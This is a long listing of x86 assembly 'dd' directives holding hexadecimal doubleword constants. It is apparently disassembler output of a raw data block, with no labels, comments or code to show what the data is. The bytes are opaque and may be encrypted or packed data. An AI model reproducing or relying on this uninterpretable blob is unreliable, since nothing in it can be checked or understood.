dd 77AFFC60h, 2421D6B0h, 0CA45E73h, 0F20D42B0h, 7BE02725h
dd 30A729B0h, 0E291F51h, 7D1B45FCh, 3D6CF82h, 0E5AD3CBEh
dd 3AE451Ah, 4F174D93h, 49DE7F74h, 505E860h, 0FB50AC9Dh
dd 53180ED6h, 42A2EA2Ah, 47D0DAEAh, 29A42241h, 0E21C1C05h
dd 0A9DEF82h, 0A82AEB05h, 2BAEFFD1h, 0BFDFCF9Fh, 74041728h
dd 5235780Bh, 249D3F24h, 0D740F2E3h, 98EBBF1Fh, 40B106FAh
dd 0D53B67BAh, 152FE5E6h, 0ABE1991Dh, 5910D96Dh, 2CF73B43h
dd 0E9024B29h, 348C4A2Dh, 15CB78C3h, 0EB5B2814h, 4F1070DCh
dd 21DFFE08h, 0E8A7C6B0h, 6B8C1829h, 6D73A782h, 6B931371h
dd 323C8A1h, 8F5B6E0Ah, 1EA135B3h, 64E31C4Bh, 6F10C4FFh
dd 34EF3772h, 0B0900C44h, 1EB6E1ECh, 893B3632h, 2B6B76ECh
dd 87DDD980h, 51CA5828h, 7E144A00h, 60B10632h, 3C2CF4E1h
dd 24CBBF5Fh, 4A782990h, 0F89A44AEh, 3F43C0E9h, 1E84DE15h
dd 4C0DD147h, 38D03FBFh, 0BE6C2266h, 20E90AD4h, 0C0CA4FA7h
dd 0E3733D6h, 5E135C55h, 4EB384AEh, 0FCADC1D7h, 6F86F81Dh
dd 8143496h, 5CF9C851h, 122FD4D5h, 895874AEh, 6A99EEBFh
dd 2B9AED2Eh, 7569A58Fh, 0A183266h, 0D9874E6Ah, 1D272582h
dd 0BD04601Ch, 482BEDFDh, 0FF2EC6F3h, 3383B5Ah, 0C547F0Bh
dd 447F1E41h, 823F8E1h, 0EB2BFE36h, 0AB2F06F4h, 361676B5h
dd 8A2DE4F9h, 0ECE19957h, 4405E710h, 6C128A8h, 0AE6C2257h
dd 0E90ADCh, 95CB43A5h, 992F2EF1h, 4F0B5F33h, 4EF2F604h
dd 0C5C283CBh, 718AC8F2h, 63771EAFh, 50D988D4h, 1922A530h
dd 9F6D0508h, 1EECCBB2h, 5FBF574Bh, 4F05D6CCh, 0A3D66h
dd 0F1AD426Ch, 3C5362ECh, 0BA1FB13Ah, 201F7CF2h, 0EF73CF81h
dd 9AC3164h, 4E294C04h, 5D681E20h, 363BD093h, 0C047FA11h
dd 0B2F96BC6h, 53F302B8h, 0DA26D38Fh, 0F84EB55h, 512BD165h
dd 21DC1B92h, 8C6C222Fh, 0F1DF2AA1h, 5CC67CE6h, 131E3F9Ah
dd 3B7E3CD8h, 29D6D7E3h, 0FFADEC8Ch, 7A8AF1F1h, 5A147DD3h
dd 58D393F4h, 1208B376h, 0BA540496h, 4CED0AD6h, 4E9EF52Eh
dd 471FD8E3h, 0D090E4Ch, 0F9CCDC05h, 112F6B82h, 0A267EE32h
dd 2B0FCAFBh, 0FEBAD886h, 8291C51h, 82054C06h, 2C6E1D34h
dd 336E9B8Dh, 9E38CB46h, 87AF30AFh, 57377B90h, 1531E21Ch
dd 928EEDA7h, 0A403D5D2h, 37A451E8h, 9D02595Dh, 0DAED3C83h
dd 2C245FBh, 0EB5B4ABEh, 5E0E53B8h, 3CD616CBh, 0E9A16835h
dd 3E8BBCDh, 677E3C23h, 4DCB9582h, 14229CA1h, 957CF90Ah
dd 1EA805B2h, 7A1AD44Bh, 5B9854FAh, 39030654h, 0E1ABAF6Ch
dd 9534398h, 0D0114220h, 0D9125A9Eh, 39D5CD9Ch, 0D2742A4Ah
dd 1CAB5B05h, 4A7D142Dh, 6E9E9BCEh, 0A623FC27h, 0A67822AAh
dd 4B857091h, 3400E42Ch, 0C588FFF9h, 4C60F424h, 11D003E9h
dd 9B3F4A59h, 0B7E503BEh, 0B0A69BE7h, 0E29780Eh, 681B0886h
dd 27C57402h, 8C82E4A4h, 47E9B884h, 7C751556h, 5AE1AFB4h
dd 12309BE5h, 0A90D9EEFh, 6BFC2FB3h, 7D20642Eh, 461FD9EEh
dd 4E330342h, 0DA84BD05h, 536A92ADh, 0A47D2C61h, 0DA8D99F2h
dd 3E91AAF2h, 0E3C0582Fh
dd 0E6643E66h, 292C7242h, 7E8E9B89h, 0CFABBF2Bh, 0F45D45DCh
dd 15730284h, 3843812Fh, 69E19857h, 0C160B597h, 87A453E6h
dd 0FE6C3828h, 0E78C79CEh, 0FAA6D286h, 0DF5B2B06h, 3D7E5CF6h
dd 77B2C639h, 87C301BBh, 17EAB93Ch, 196E7803h, 4780FE31h
dd 205BF653h, 0B03ED93Ch, 7AA395E5h, 2A992427h, 57B04E8Fh
dd 2E35834Eh, 0FCA09B77h, 640B688h, 0A925A73Fh, 0E9F971EEh
dd 4EFDA93h, 34CA344Bh, 3A203E67h, 59C1062Bh, 22CAFEE5h
dd 8CE5DA5Fh, 0C89D45D4h, 7B9676FAh, 6637E461h, 138FFD67h
dd 8421DA65h, 49A452E6h, 6C094E47h, 57F818A7h, 55D5A5E9h
dd 0F357A4Dh, 3B7DD999h, 3ADCCF3Bh, 0E9AEF3DAh, 628EEB40h
dd 64053E77h, 7F8CFE74h, 38EAB85Ah, 9F43C3AAh, 116DCABAh
dd 43AB1D4Bh, 4B1668FBh, 2C1CF869h, 88C1DD60h, 1B4DD6ECh
dd 0AE51E700h, 0ECE1F5FFh, 4987AAF2h, 0C53D5Dh, 81546A02h
dd 2BD81321h, 3FAE9B85h, 0A09ECC56h, 0F3B51049h, 81763C1h
dd 6D4382EFh, 0C95F1AFh, 0F905C4FFh, 18A45582h, 7C056229h
dd 58ED14BDh, 15C3B0C3h, 0B95B0B05h, 5528F080h, 2ADC2F4Ah
dd 0C4C001B3h, 4094D849h, 7C0B1D11h, 2888FE14h, 17CEBFD3h
dd 8838D31Fh, 6822D7A2h, 62194C4Bh, 65A560EAh, 201CEF6Bh
dd 0C2C18C05h, 3E51C389h, 9C480336h, 0F9947AF1h, 8BE1E2F2h
dd 0D1C81E5Eh, 73383E0Dh, 4AD13A47h, 17B7C8F7h, 0CDCBBF52h
dd 0E1780C24h, 649254C4h, 6322E6A6h, 5AE198F2h, 0F005F317h
dd 53C12083h, 57185F5Bh, 7E004AAh, 0D9D299E0h, 6B5B956Bh
dd 5E0FBFF3h, 8D7725Eh, 0CDA4EDDEh, 57E5B924h, 64290B1Fh
dd 28D7913Dh, 31B3F793h, 8E0EE08Ah, 7F48D6A4h, 58311A3Fh
dd 6C3164EAh, 42739B63h, 0F7ADE805h, 754530AAh, 0BC240253h
dd 8CD0EAF2h, 0A6E4FC86h, 0F4B83D5Bh, 9A4C7B68h, 44BE2232h
dd 1EBDFEE2h, 992BBF3Bh, 0EE3C2C52h, 63166E20h, 7320FAEAh
dd 3388EB27h, 0FC09F1F9h, 28D63292h, 696C3029h, 0DDF1DACh
dd 9DC386F6h, 8E368250h, 523BAFB3h, 2719A35Dh, 8CC164C6h
dd 7783FE5Ch, 7A070C10h, 61C08AC5h, 37D4913Dh, 0BCBD946Fh
dd 784BD7B3h, 50CD2527h, 25D57CFFh, 3116D407h, 0F4B3D946h
dd 44540C89h, 8547AD21h, 0D9976AEDh, 0DA0FEEF2h, 55DD3142h
dd 12785B1Dh, 4EA81637h, 3EFE9B83h, 0AD43CB5Ah, 0E5F1205Ah
dd 69866D17h, 154382FBh, 2A84D817h, 0FD16D652h, 4DCA3994h
dd 0D185C4Ch, 0FAE51FBDh, 30A699E3h, 0E299D03h, 4D137994h
dd 2022F45Ah, 0F8A8E4C2h, 6A95CD07h, 49171F3Dh, 7EBCFF91h
dd 3F7857Ah, 97ECF98Eh, 118ECDBAh, 7FD9424Bh, 53216FE6h
dd 3122C766h, 80BB2E60h, 4F2002ECh, 7D50EB21h, 0ACFAF0D9h
dd 0D97BAAF4h, 0EF2C47h, 9EAD7615h, 2BB919CCh, 3EEE9BDDh
dd 0A328C8A6h, 0ECB237E2h, 74074201h, 7A22CC03h, 2284FFB3h
dd 0FB60A097h, 51E20D83h, 213C8945h, 0D1FBBFA0h, 70A662F6h
dd 8A3D9903h, 571A5A94h, 4E494650h, 0F8AB52A3h, 4F74D709h
dd 642B3DC5h, 2F78FF94h, 760BF4D3h, 0FC9D956Fh, 13CDA1D6h
dd 2D19444Bh, 2ED5118Fh, 7773A307h, 0E2C24C05h, 0DC2022ECh
dd 90274252h, 39961990h, 6A78AAF7h, 0B4B25821h, 70C83E72h
dd 2BD475ABh, 6A1E9BDFh, 0CC4BBCC7h, 871D4484h, 6F30174h
dd 1343844Fh, 52E19397h, 0AC60A117h, 30A478E6h, 7E6CEE29h
dd 0D48FD5C9h, 0B0A61A84h, 6B58BB02h, 3B737CFFh, 3A490627h
dd 81CF81A7h, 43218474h, 5B703683h, 425498E1h, 0B2383A3h
dd 6EBD1EDFh, 8D9D38E6h, 0FE69857Bh, 365CCBFh, 2242F336h
dd 9AF32634h, 0BE11AEDDh, 19168863h, 0F6A85CA1h, 0A0484FC6h
dd 0D5824310h, 0CEF60740h, 7ADE3098h, 43CFCEBh, 5C993BF9h
dd 556FD3AEh, 0E441DB36h, 2F70B41Dh, 17D93564h, 2B5C92ACh
dd 1C98A1DAh, 0E7528117h, 0F48FD9F7h, 6CA612A4h, 0C058AB02h
dd 6D4111CCh, 0CB7AB31Bh, 3CFD8869h, 0F120674Eh, 2D6D7FB1h
dd 5B53AA02h, 0D6286760h, 44CE395Ch, 0F7BE60E5h, 0D1AAAA78h
dd 0DE120BCh, 2647F333h, 8AF63031h, 581470D8h, 3A136F66h
dd 0E6ADC0A4h, 6C4BACC3h, 0B1833214h, 0ECF5A846h, 9FD1BA98h
dd 0B40986EDh, 0F5B3B6F8h, 68A5F5ACh, 42CA172Ch, 4679A936h
dd 1EDB5E2Dh, 665B372Ch, 569F8CDDh, 0A750C815h, 0BBB3BAF4h
dd 39B2DB7h, 0A65CB3Ch, 0C34F3CC0h, 1C769F16h, 10F2E561h
dd 0FD2D694Ah, 863DFADh, 1F6CFF21h, 1663F412h, 16DCE5DFh
dd 4C5F89E7h, 0C5EBFC79h, 0B86641BDh, 0FC471634h, 0D3F6C331h
dd 4115F5D9h, 0A121567h, 0CAAD25A5h, 0DA4A63C2h, 9C81BA14h
dd 7E9CF46h, 3ECA7299h, 4E1884E3h, 0FFDD96E5h, 0CEEB07DAh
dd 59454E12h, 6A75EFD9h, 0B8D715E1h, 245634A1h, 0EB92D8D0h
dd 4C5A591Fh, 0E5B909FEh, 9790E3BDh, 106E6637h, 234594CAh
dd 0C27F111Ah, 30FBA564h, 1134B85Bh, 456250DBh, 7450AC49h
dd 0FC5377EBh, 54E50F57h, 0DC756DEEh, 0CB218973h, 7BEDD6B7h
dd 224A763Eh, 9EFB5C3Ch, 4819D7D5h, 681FFD6Bh, 8AA1FFA9h
dd 0C546BCCEh, 0FEB0651Ah, 10E26E4Eh, 54CE0F95h, 0A3643CEDh
dd 0D7F156EDh, 0AC2660DFh, 62C8490Fh, 877817F4h, 0EFDA36ACh
dd 5A5B7D2Ch, 519F87DDh, 0F150AF15h, 34B390F4h, 0DB9A5CB7h
dd 0CA65E03Ch, 8A4E5BC7h, 8874BF13h, 59F14B6Bh, 0E8315A58h
dd 4D6570CFh, 5829986Ch, 0DB4E7AAEh, 2CF050D2h, 111045EBh
dd 0AB673075h, 0A86B85B1h, 2C4C5239h, 86FD5A3Ah, 5F103CD3h
dd 7419D26Dh, 96A471AFh, 0CA7DAAC8h, 6C885860h, 0E4D43E75h
dd 83C689Eh, 3D7EDDE1h, 4F1BD5EBh, 4B6DC8CCh, 1A4202F4h
dd 6972B79Eh, 0BFD01666h, 9510FA6h, 0A595BFD7h, 715D3818h
dd 79BE34F9h, 0D19426B9h, 0AD6B5932h, 4A4091C8h, 0C679B813h
dd 5FFFCF79h, 0F3C46AEh, 24656DF0h, 7C23CB82h, 1D489160h
dd 700E165Ch, 0B13E37E5h, 9CAAE078h, 0BDE6E2BCh, 6940AE34h
dd 0B7F60431h, 0AD1B36D8h, 0CC12A266h, 0D7AF63A4h, 74630C3h
dd 0E2BAE214h, 54E4DE41h, 14315B94h, 0A4BDDE6h, 0B83ECCEAh
dd 1A8C4C1h, 0A7C68EE1h, 0EB7649BAh, 2D7B122h, 0FB56E621h
dd 19921CD0h, 0D5A431Fh, 6EB93CFEh, 29913ABCh, 5E6E7728h
dd 6A4574CEh, 2F7CDE14h, 0E3C5EC78h, 8538C5A3h, 9B63F5E4h
dd 862B58A6h, 0C1744724h, 301A55D8h, 0CDDA7CE1h, 0D4EEB97Ch
dd 5F6D39B8h, 84B293Fh, 5AFAB13Dh, 0F317F9D4h, 9D1FBB6Bh
dd 20A3CCA9h, 0CB4996CEh, 1CB61E1Ah, 7DD6534Fh, 8726D29Ah
dd 0B25448F7h, 0CC516199h, 0CBE64CF7h, 7C4864DFh, 0B7780654h
dd 95DA21ECh, 0A85B7FACh, 479854DCh, 0A550B80Bh, 20B37388h
dd 0DB9ABB8Eh, 2965F613h, 344EE024h, 737664D8h, 0E6CF44FEh
dd 8135C2B1h, 946FF41Eh, 0FC2509CCh, 7871F7EEh, 0A223CC51h
dd 0B5F3F1E8h, 9A273875h, 8BEB7DB1h, 9A4A9339h, 0DEFBC23Bh
dd 0BC1410D3h, 83160F6Dh, 0CD9545AFh, 0E36FD7C9h, 2B7DCD18h
dd 0C3579249h, 0EA2BCC9Ch, 0B6A149F0h, 34745698h, 8D1D44FBh
dd 0BEF300A4h, 0CA43854Fh, 0A9D1AFA0h, 4C50D624h, 0DA94F6D4h
dd 3A5C4905h, 0BF3F80h, 0B2992C8Ah, 4F68330Fh, 0D243B376h
dd 6A781895h, 0C9C0B574h, 5F3AFCB7h, 2263C700h, 8633A8E6h
dd 0A963D5A4h, 93507D7h, 2594D9EEh, 7C608272h, 2C6D43B6h
dd 0FA4CF03Eh, 0EFF653Ch, 360E0FD5h, 2E08E26Bh, 0A2879FA9h
dd 660B89CCh, 0B13A661Dh
dd 0ADDE724Ch, 40161198h, 2CB4EEF3h, 46913591h, 3E67E1E6h
dd 5949B3BEh, 1F794514h, 41DB436Ah, 4B5A4BAEh, 0A19F65DEh
dd 0D557CA09h, 0BCB4BB89h, 0A5929D85h, 8262710Dh, 0B849246Dh
dd 0D5714B42h, 27C8A100h, 0C9310E07h, 0D295B238h, 0D3B300Ah
dd 4C603F6Fh, 0BB41A653h, 61B195EAh, 0ABA47177h, 0F6E806B3h
dd 0DF4A593Bh, 18FB2139h, 80901D0h, 0C2013B6Eh, 80F808ADh
dd 0F1BB5CBh, 1DB761Ah, 319D044Ah, 43992998h, 2283F7F6h
dd 47B63E92h, 3BA0D8E9h, 77CEA8A9h, 737E3133h, 40DC502Dh
dd 0D65D6A29h, 0DE99AAD8h, 0F4511E0Eh, 0E2B20D80h, 32943680h
dd 6567130Bh, 214FA86Bh, 0FB74A745h, 4BCE3901h, 0F1356D0Ah
dd 7929C2Dh, 4F33912Eh, 0F69B632Ch, 515278D0h, 0E45203E9h
dd 22E7F474h, 44548DEFh, 68768B06h, 0DCF79135h, 0BD05C1DCh
dd 890DEB62h, 3F4E1A0h, 0A01709C6h, 82D4E717h, 0FF8D3A47h
dd 3C8D6695h, 29FDDF4h, 0A7DAE382h, 10EC3C1Dh, 1142C295h
dd 237260DFh, 82D382E1h, 35524FA6h, 0DA9706D6h, 0F55F0200h
dd 0E2BB508Eh, 8B9D3489h, 0DB6C2C01h, 0E444A561h, 187FAF48h
dd 0EAC65C05h, 8B3DDF15h, 2693F45Ah, 6632F84Bh, 169659E9h
dd 3F675455h, 0D7721ECh, 8231170h, 12EFBFB4h, 384DD03Ch
dd 0A2FCEE3Eh, 990ECDD7h, 6C07CF69h, 50FFBAABh, 6A1F48CDh
dd 23C6C81Ah, 0D9849D44h, 0F188B99Bh, 0BEE247FBh, 2FF7498Bh
dd 8A204E18h, 0F6CE2089h, 8A7EB1F3h, 0C0DCC1ADh, 755DC529h
dd 84990FD8h, 8E516D0Eh, 9FB22380h, 54942880h, 9B641009h
dd 0C64C0A6Eh, 76740542h, 0CBCFB809h, 533BF81Ah, 8F96194Dh
dd 0B70A4F6Fh, 708AA4ADh, 0E972E9D0h, 2A12E2E9h, 79674874h
dd 2B6BF1B0h, 0FC490838h, 21F8673Ah, 903442D3h, 0C3C0222h
dd 0EEC79990h, 0D115BBC6h, 0B2C87616h, 96846F48h, 8CFCE896h
dd 0EEFE2FF1h, 3C1B7C8Bh, 9D6DB80Ch, 0F2421C75h, 2672A99Fh
dd 3BD00A61h, 0A3510BA5h, 0C695A8D4h, 55ED602h, 94BDA78Fh
dd 0F29B038Fh, 0BF6AF207h, 5044C061h, 4D701B44h, 0B7C70B1Dh
dd 5130F46Ah, 56903E75h, 5006BB87h, 0D08A9165h, 428B5C59h
dd 0F43B19E0h, 2EAF087Dh, 7DE3B8B8h, 5141BE30h, 86F09532h
dd 0D80327DBh, 940BAB65h, 54F062A7h, 332D3EC1h, 90C9F811h
dd 0C087924Eh, 0EBF3CD8Eh, 54C96DF4h, 0F833B187h, 0DFA56C0Ch
dd 92CB4E6Ch, 0EB7AD6B7h, 83D85529h, 0F65A862Eh, 0DF9E9CDFh
dd 4C57F709h, 0BBB4F786h, 7992DF87h, 462BA08h, 0FE4A406Ah
dd 0B9797648h, 82CB8213h, 4E3AAD69h, 5D9A216Eh, 8702B1AFh
dd 75BAB12Dh, 31ADE56Fh, 7DEDC2D6h, 0ADE86F7Bh, 0FE640EBFh
dd 0B6466C37h, 1F088535h, 0BC050BDCh, 2A0DA963h, 9AF7D5A0h
dd 0F12ACED9h, 0D3CDCFEBh, 1C7D9370h, 3EEE64B9h, 6FDCBC2Fh
dd 41593871h, 3FEFE2BEh, 1F41B256h, 9071575Ch, 0DDD281E3h
dd 945330A7h, 0F697D1D6h, 4D5F5C00h, 0FEBB6389h, 0C49D1B88h
dd 3E6A0307h, 0CC43C264h, 2740241h, 0FDCB6016h, 8D053779h
dd 0A3B7FC96h, 0B7CFBEC4h, 8C3BFFE4h, 0D9A5FE58h, 7BF5A7EEh
dd 0E720B773h, 85EC47B7h, 864FAB3Fh, 3C01543Dh, 720D0ACAh
dd 0AB067768h, 0A4FF97ABh, 0C1210CD2h, 74CBE2E0h, 9371E97Bh
dd 0D5ED98B2h, 16249726h, 8E71E47Dh, 2C26EEBEh, 29C8B24Fh
dd 0EB7E8375h, 92E1ABADh, 0A8605184h, 54A418E5h, 67583B00h
dd 0F2BAC888h, 709F648Ah, 0CF69C304h, 0C4F5168h, 0DD79504Fh
dd 3AC71A1Fh, 3A09487Ch, 0B1B9318Ah, 0DFDD04E8h, 602E09AAh
dd 0ABB7CED5h, 909741ECh, 0C262AF71h, 716F94B5h, 0DA4D863Ch
dd 0BB031C3Fh, 8A0F63C8h, 6604DE6Ah, 1EF59BA9h, 2225E7D7h
dd 2DCC94E5h, 9779097Eh, 0BAD1F2B7h, 84335E24h, 21965B76h
dd 2C63D2A1h, 204DE43Ah, 0B87D6310h, 49DEBF6Fh, 206051ABh
dd 28A41B45h, 5C6CA833h, 0EFBE4B8Dh, 1D9AF68Dh, 0D46A9D01h
dd 0EC43926Ah, 9275C95Dh, 0BBC9CAEEh, 8005E14Bh, 8AA666B4h
dd 7DCDB09h, 2C20446Fh, 4EC1BD53h, 0B2B137EAh, 9A60676h
dd 1DEA90B1h, 0DD48F839h, 9806313Ah, 0FC0A49CDh, 4E010B6Fh
dd 2CF63FACh, 5021FFD4h, 0DCC9C8E6h, 71403E7Ch, 6EE4753Dh
dd 513E9B1Bh, 21BBB77Fh, 9EADB4A4h, 0F8C21025h, 6077203Fh
dd 4AD81024h, 15A552Dh, 169E56DFh, 2D56CA09h, 0E9B5BD86h
dd 79922099h, 0B0654A0Ah, 224D5966h, 847CD357h, 82C067E3h
dd 0A80DEA4Ah, 8A2DFADh, 37ECC3D1h, 69640C13h, 8DCCADEh
dd 465EEFE4h, 8AEB8278h, 40618FBCh, 98764BD7h, 38381C04h
dd 400486C3h, 0B80F8E61h, 69C89972h, 7A1FAAEAh, 0FDC024EDh
dd 6D68AA77h, 96C8D5B8h, 0EC1A2F21h, 10DF0067h, 57E987D8h
dd 447C310h, 68774DDAh, 88D576E4h, 0D054B6A1h, 0A890F1D7h
dd 7658500Bh, 34BBBD90h, 789C3966h, 0FB6B8764h, 23438BA9h
dd 6E755BD8h, 0A4C920E6h, 30199E59h, 30AF59D6h, 6FDDF744h
dd 3D5959E6h, 0AEE88F5Ah, 4E7B59E3h, 442DC07Eh, 28E2C5BAh
dd 0FB4D2F32h, 42097831h, 0CC09DEC6h, 3BFBC664h, 0E9DD95A7h
dd 75E93EDEh, 157FC4EDh, 0DE6D9A71h, 94C1D9BAh, 0E86B2F22h
dd 18FE0062h, 662887D1h, 64C6C301h, 0A7764DFBh, 0AD476A4h
dd 0D455B72Fh, 0A091F0D4h, 4659520Eh, 54BAB999h, 0B89F3175h
dd 7B697746h, 2340EBEDh, 6E761C59h, 0A4CBA1E1h, 301B9C52h
dd 30AE5DC5h, 6FA2EF67h, 3D4269A5h, 0AEFB6CD9h, 4E1818E0h
dd 4461427Dh, 2960C1B9h, 0FA4C3731h, 4C064832h, 0F0353EC5h
dd 23E88667h, 0F93D15A4h, 55AB3EDDh, 0CAFF74EEh, 0B36D7E7Dh
dd 6E353DB7h, 877CB28h, 0FF12E462h, 0DA6423C5h, 0FF4A66FDh
dd 4A7AE997h, 10D8D168h, 0B459D3A2h, 0E49D97C6h, 3A5530FEh
dd 0E8B6D1ADh, 54908D4Ah, 4766C3A9h, 8F4F6F23h, 0AA7F20D8h
dd 60C1E2F7h, 0F4125EA0h, 0F4AAADFFh, 2BAD248Dh, 757C3D6Eh
dd 9F3D009Fh, 0D20E8BD6h, 0F7A7587Bh, 9E169BFh, 0DD4D1F36h
dd 6E057835h, 143A3EC2h, 3BDF5660h, 0F91A85A3h, 5630EDAh
dd 0D67FF4E9h, 9C61DA74h, 0D03599B0h, 0A04F6F22h, 8339986Eh
dd 6AF6FC6h, 0D3CB9AE2h, 0DD7B7949h, 4ED8C92Bh, 9C59F021h
dd 0D09DB2C4h, 665516FAh, 44B681A5h, 3090F15Bh, 6B5F5BCFh
dd 3B763F59h, 4E438163h, 8CE28BCFh, 2FAC94h, 89451D3h
dd 2F9C2C91h, 75444D13h, 0FF2D61EFh, 16EECAD6h, 3BD6124Bh
dd 4250BD8Fh, 8C7E6B07h, 3028DC04h, 781302F3h, 0DBFE8251h
dd 494A9992h, 8D13AAEBh, 77CC58D8h, 0F56C3E45h, 0DE1C7580h
dd 446E9B0Ch, 0B36BBC5Dh, 5EDD43F0h, 52730EDDh, 0BC439961h
dd 60E1A932h, 0C8605459h, 78A4117Ah, 0CE6CA3C1h, 0B48F4F98h
dd 70A9216Ah, 0EB5F43DFh, 3B760F78h, 4E436125h, 8CE2C843h
dd 282D8Ch, 8955323h, 2F9E28F1h, 75485AD3h, 0FF15516Fh
dd 16FF29D6h, 3B36544Bh, 4213318Fh, 8FFF6307h, 312ACC04h
dd 7E1F22F3h, 0D7814251h, 0B15A1992h, 9CF0AAEAh, 578258DEh
dd 0BAE83E49h, 5F147598h, 429E9B7Dh, 0BF4BBC03h, 651D420Ch
dd 42F30E65h, 9B439A51h, 22E1AFD2h, 4C605899h, 70A409FBh
dd 0FE6C8CCFh, 0D48E9184h, 0B0A89D12h, 6B5FCBEEh, 0BE751EA7h
dd 0A804D33Dh, 374C2E40h, 15E58B76h, 7A5537ADh, 0B2BA9ACCh
dd 0E3AD230h, 8C2163D1h, 0D4FBE616h, 4BED1C41h, 0C5A38987h
dd 0D9240149h, 2C0FCC6Ch, 9883683Bh, 4ACE7005h, 0EDC462F1h
dd 0AB06C269h, 0EBB776E5h
dd 0BBA1DB28h, 0F0EFBDD8h, 60921F47h, 1E9556Fh, 8C31A7AAh
dd 7163559Dh, 20634FACh, 0A96DDCBCh, 0F66F7E7Ch, 39D8DEBAh
dd 0D61DC3A4h, 115ABE68h, 0E8CD6F4Bh, 2787CD0Bh, 4961D5BCh
dd 3CD41ECFh, 5D151058h, 636CDBCDh, 0FA9AE753h, 5518EB4h
dd 0F46EB98Bh, 76286ACEh, 5B4B9CD8h, 0F48C59F8h, 16C354CAh
dd 5B1A61ECh, 0BA210918h, 14D0D394h, 24D554EAh, 0C42872D1h
dd 0CE94BB32h, 0FFFD7D36h, 3FA5E548h, 3B1AD843h, 497C3900h
dd 0E505F134h, 0F51684B5h, 0DC01D799h, 73838A96h, 3903DA81h
dd 0EE4329DBh, 2BE9BEE6h, 0F3235BA4h, 0B0A37D62h, 6528F15Ah
dd 273F12FAh, 5829A0D3h, 4ED1FEA8h, 0F3045D89h, 0BC1B0979h
dd 6AF3E209h, 0A824E26Dh, 53FB45DCh, 92CB14E2h, 8F7CB30Dh
dd 0CB0875D8h, 7F39DD23h, 0ABB35C3Ah, 2670EACFh, 0DF0312AFh
dd 0E3C59323h, 0FAB8778h, 5A35CB4Fh, 40D6E059h, 12A9D96Eh
dd 0D0E1E4FAh, 600434DAh, 2BBBBD48h, 0B61A3FEEh, 0C217E911h
dd 0C170372Ah, 0FDC8CC13h, 31F6A8B8h, 0EFA09D92h, 0A8547125h
dd 259852ECh, 785F3FD1h, 0EAA2AC7Bh, 9F591Fh, 0F04FEFC9h
dd 0E63BC43Eh, 0F8C6BE4Dh, 0CA020803h, 414F038Bh, 0E9F6085Dh
dd 4DC9B0D4h, 17C285CCh, 31A68DB1h, 230F4BA0h, 53463186h
dd 0EF5A7DE2h, 7A906628h, 0DEBF7893h, 91166AB4h, 24E5E788h
dd 30E89600h, 773747CBh, 421183D4h, 4F786A9Ah, 94AE0E1Eh
dd 3CC74512h, 0B42361F4h, 0B8B4FE4Dh, 7A002DD9h, 0F05CA716h
dd 0B618B71Fh, 0A911A50Dh, 0B81DE2ABh, 6A1B46C9h, 0B105D73Ch
dd 13891469h, 4ADAEFA9h, 4C71ACC9h, 637BCB36h, 0F3DCE039h
dd 8AA8BF9Dh, 1CD03098h, 7B04FB8Ch, 544DCC89h, 4967556Ah
dd 7701C598h, 0E01E9F1Fh, 233627F1h, 0C7A36B8Ah, 2D30EC15h
dd 8C690098h, 3382C054h, 4788B2F5h, 6836748Dh, 5BF8740Ch
dd 0D7D6966Ch, 0A12DE0D9h, 3B111B5Dh, 548E7A33h, 0F54A7B78h
dd 76CC4C2Ah, 0A04B66DCh, 0E6881525h, 96DD7CE6h, 72859B10h
dd 23116F4Fh, 5133A652h, 0E2F0DCF6h, 121A3EF6h, 222F4420h
dd 7E1F62A2h, 0B8F6E002h, 7A1500EFh, 5B61FE7Fh, 0F233DFFCh
dd 7E112AAh, 0F479B722h, 21B63E76h, 0D2FB7CD6h, 7AD117D3h
dd 0B8678BE3h, 25E2986Dh, 0C166875Dh, 0A5604186h, 1A2C1C9Dh
dd 0E5EA5820h, 0C78C8127h, 0E0D37EFFh, 302B3CE4h, 9EED1A9Dh
dd 719DE779h, 116B829Eh, 0E1CCB20Eh, 11DBFD5h, 0EAD1C716h
dd 9F401EC4h, 254643A2h, 1A58ACCAh, 5FD7ACFAh, 3DBEC3C5h
dd 49A482D2h, 7FBFABF0h, 0B31231FCh, 6532A2E3h, 0F77615h
dd 6E9DA6EBh, 0FE9AEA8Eh, 8CA78B67h, 56AA3F0h, 74C93086h
dd 0F2B454BEh, 2D5B1CFEh, 103D1D35h, 9019243h, 1D0207A1h
dd 0DA9309ADh, 0BC270533h, 2BD125A0h, 8C62218Dh, 965EA525h
dd 2F26E539h, 0E94D275Ah, 0D79A14B5h, 0FB6F2ACBh, 0BDF46E0Bh
dd 6276F2EDh, 0A5F8AE11h, 83E5BEDCh, 0EF24E326h, 4625127Dh
dd 892938h, 64606CD8h, 40372EE0h, 4E320D88h, 394A86FEh
dd 0B1CF7BCh, 57BB8C8h, 0BF9A04CFh, 85BD8DC0h, 0C0B06190h
dd 389E5E3Ah, 0ABFE5EBBh, 0C708D3C6h, 5AB0C5FAh, 0DB90088Eh
dd 0A3543015h, 0C5CFB62Ch, 0F3A0DE55h, 0CF34E66Fh, 4596C22Ah
dd 956536Fh, 2D67AE9Ah, 0AE15CF71h, 78973854h, 0F541DC3Fh
dd 0D383D698h, 0AD7FC26Eh, 0D479BDE8h, 870C39B1h, 0EE2C79E1h
dd 0DACA2C68h, 1EEF5EF8h, 0E9431CF8h, 0D3A44284h, 0A0BC43B5h
dd 2D80AA3Bh, 8E6C3CD6h, 0FAD83FAAh, 83B7447Eh, 0E94473C7h
dd 0F315FB1Ah, 7921E683h, 7F34F215h, 817F0730h, 0E70C1021h
dd 5C5BAE74h, 3B4BFF5Dh, 4DBED4A0h, 478CDD04h, 8BE883B5h
dd 5A37D0EEh, 0BA171E95h, 0D5035247h, 9498E513h, 7C74AA47h
dd 0AA2F8391h, 0B2233679h, 2CA19BF5h, 0D4CE961Fh, 0F369593Eh
dd 30145143h, 0D86996F7h, 0B0A537E6h, 0BDE08F8Eh, 0C6E2A7Ch
dd 0D62A45CBh, 0AF9242F7h, 0DF38D052h, 493BA2BEh, 2000E648h
dd 89C063E9h, 6662E31Ah, 3EEA664Ch, 435A561Bh, 47F8731Ch
dd 295E232Fh, 0BB2E73DCh, 7E1C410h, 0A5F624A5h, 6AA490ABh
dd 0CEDB5F71h, 0DA9C4587h, 0C29AC2FDh, 60A02DB4h, 2D404BEEh
dd 747F53C8h, 30D006Eh, 5E511197h, 0FA4D71B6h, 0D1F4C8DFh
dd 0FF3193ADh, 0BF8550Dh, 63E50591h, 0DFE3EAh, 0BBA07DEDh
dd 201133C0h, 663F0B40h, 2E0D3EAFh, 25776C4Dh, 37B6A259h
dd 49F2B65Ch, 1B9AF894h, 0B8187FF4h, 7AB1498Eh, 0C07DAAC8h
